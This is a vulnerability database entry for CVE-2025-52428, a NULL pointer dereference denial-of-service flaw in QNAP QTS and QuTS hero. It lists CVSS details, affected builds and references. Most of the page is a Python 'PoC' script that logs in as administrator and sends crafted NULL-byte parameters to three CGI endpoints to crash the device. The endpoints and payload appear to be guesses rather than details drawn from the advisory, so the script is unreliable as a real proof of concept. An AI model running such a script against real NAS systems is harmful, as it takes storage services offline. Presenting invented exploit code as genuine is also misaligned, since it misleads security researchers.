CVE-2025-52428

Description

A NULL pointer dereference vulnerability has been reported to affect several QNAP operating system versions. If a remote attacker gains an administrator account, they can then exploit the vulnerability to launch a denial-of-service (DoS) attack. We have already fixed the vulnerability in the following versions: QTS 5.2.6.3195 build 20250715 and later

CVSS Details

CVSS Score

4.9

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:qnap:qts:5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2744:build_20240424:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:qts:5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2737:build_20240417:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2782:build_20240601:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2789:build_20240607:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2802:build_20240620:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:qnap:quts_hero:h5.2.0.2823:build_20240711:*:*:*:*:*:* - VULNERABLE

QNAP QTS < 5.2.6.3195 build 20250715

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-52428 PoC - QNAP QTS NULL Pointer Dereference DoS
# Note: This vulnerability requires valid administrator credentials to exploit.
# The PoC demonstrates sending a crafted request to trigger NULL pointer dereference.

import requests
import sys

TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "192.168.1.100"
TARGET_PORT = 8080
ADMIN_USER = "admin"
ADMIN_PASS = "admin_password"

def exploit_null_pointer_dereference():
    """
    Trigger NULL pointer dereference in QNAP QTS to cause DoS.
    Requires valid administrator credentials.
    """
    base_url = f"https://{TARGET_HOST}:{TARGET_PORT}"
    session = requests.Session()
    session.verify = False

    # Step 1: Authenticate as administrator
    login_url = f"{base_url}/cgi-bin/login.cgi"
    login_data = {
        "user": ADMIN_USER,
        "pwd": ADMIN_PASS,
        "group": "administrators"
    }

    try:
        resp = session.post(login_url, data=login_data, timeout=10)
        print(f"[*] Login response: {resp.status_code}")
    except Exception as e:
        print(f"[-] Login failed: {e}")
        return

    # Step 2: Send crafted request to trigger NULL pointer dereference
    # The vulnerable endpoint processes input without proper NULL checks
    vulnerable_endpoints = [
        f"{base_url}/cgi-bin/filemanager/share.cgi",
        f"{base_url}/cgi-bin/qpkg/qpkg.cgi",
        f"{base_url}/cgi-bin/system/sysRequest.cgi",
    ]

    # Crafted parameters designed to trigger NULL pointer dereference
    crafted_params = {
        "func": "\x00",          # NULL byte injection
        "action": "get_share_info",
        "sid": session.cookies.get("NAS_SID", ""),
        "param": "",              # Empty parameter to trigger NULL path
    }

    for endpoint in vulnerable_endpoints:
        try:
            resp = session.post(endpoint, data=crafted_params, timeout=10)
            print(f"[*] Sent payload to {endpoint}: {resp.status_code}")
        except requests.exceptions.Timeout:
            print(f"[+] Target may have crashed (timeout) - {endpoint}")
        except requests.exceptions.ConnectionError:
            print(f"[+] Target appears to be down (connection refused) - {endpoint}")
        except Exception as e:
            print(f"[*] Response from {endpoint}: {e}")

if __name__ == "__main__":
    print("[*] CVE-2025-52428 PoC - QNAP QTS NULL Pointer Dereference DoS")
    print(f"[*] Target: {TARGET_HOST}")
    exploit_null_pointer_dereference()

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-52428
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-52428
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-52428/
[4] VulDB https://vuldb.com/cve/CVE-2025-52428
[5] https://www.qnap.com/en/security-advisory/qsa-25-36

Raw JSON Data

JSON

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